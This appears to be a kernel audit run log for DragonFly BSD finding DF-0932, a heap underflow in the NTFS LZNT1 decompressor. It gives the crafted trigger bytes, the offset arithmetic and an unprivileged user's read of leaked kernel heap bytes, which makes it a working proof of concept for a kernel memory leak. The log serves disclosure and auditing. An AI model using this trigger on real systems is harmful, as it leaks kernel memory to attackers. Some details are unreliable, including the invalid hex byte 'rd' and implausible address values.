DragonFlyBSD Kernel Audit
DF-0932 / run.log
← back to finding ↓ download raw
=== DF-0932 live in-kernel LZ77 underflow leak ===
Kernel: DragonFly 6.5-DEVELOPMENT #0 (default GENERIC, INVARIANTS ON)
Mount options: -t ntfs -o ro,-u=1001,-g=1001 /dev/vn0 /mnt/evil
  (root mounts; maxx uid 1001 reads -- realistic admin-mount of
   attacker-supplied filesystem image, see DF-0871/0873/0878 precedent)
Trigger: crafted NTFS image, compressed file F at MFT record 32
  LZNT1 block: 02 80 01 FF FF (5 B, padded to 4096 with 0x00)
    header 0x8002 (compressed, len=2)
    tag    0x01   (first sub-token = back-reference)
    token  0xFFFF (LE) -> at pos=0, dshift=12, lmask=0xFFF:
       boff = -1 - (0xFFFF>>12) = -16
       blen = 3 + (0xFFFF & 0xFFF) = 4098
       -> buf[pos+boff] reads buf[-16..-1] (16 B of slab neighbour of uup)
       -> LZ77 sliding window propagates the 16 leaked bytes
          across all of buf[0..4095]
       -> uiomove at ntfs_subr.c:1723 ships leaked bytes to reader

--- baseline (#0 GENERIC), reads after heap-warming (find / -name '*.ko') ---
root read 1: 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00
root read 2: 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00
root read 3: 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00
root read 4: 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00
root read 5: 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00

--- as unprivileged maxx (uid 1001, NOT in wheel) ---
$ id
uid=1001(maxx) gid=1001(maxx) groups=1001(maxx)
$ cat /mnt/evil/F | head -c 16 | od -An -tx1
 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00
RC=0

Those bytes are DragonFly kernel virtual addresses:
  LE u64 at +0: 0x00000008_00bd7000
  LE u64 at +8: 0x00000008_006a34c0

(Earlier session showed f8 ff f9 ff fa ff fb ff fc ff rd ff fe ff ff ff,
 the tail of the $UpCase table loaded into RAM during mount. Both are
 kernel heap memory, NOT file content.)

CONCLUSION: buf[pos+boff] with pos=0, boff=-16 dereferences memory
preceding the M_NTFSDECOMP uup allocation and ships the bytes to user.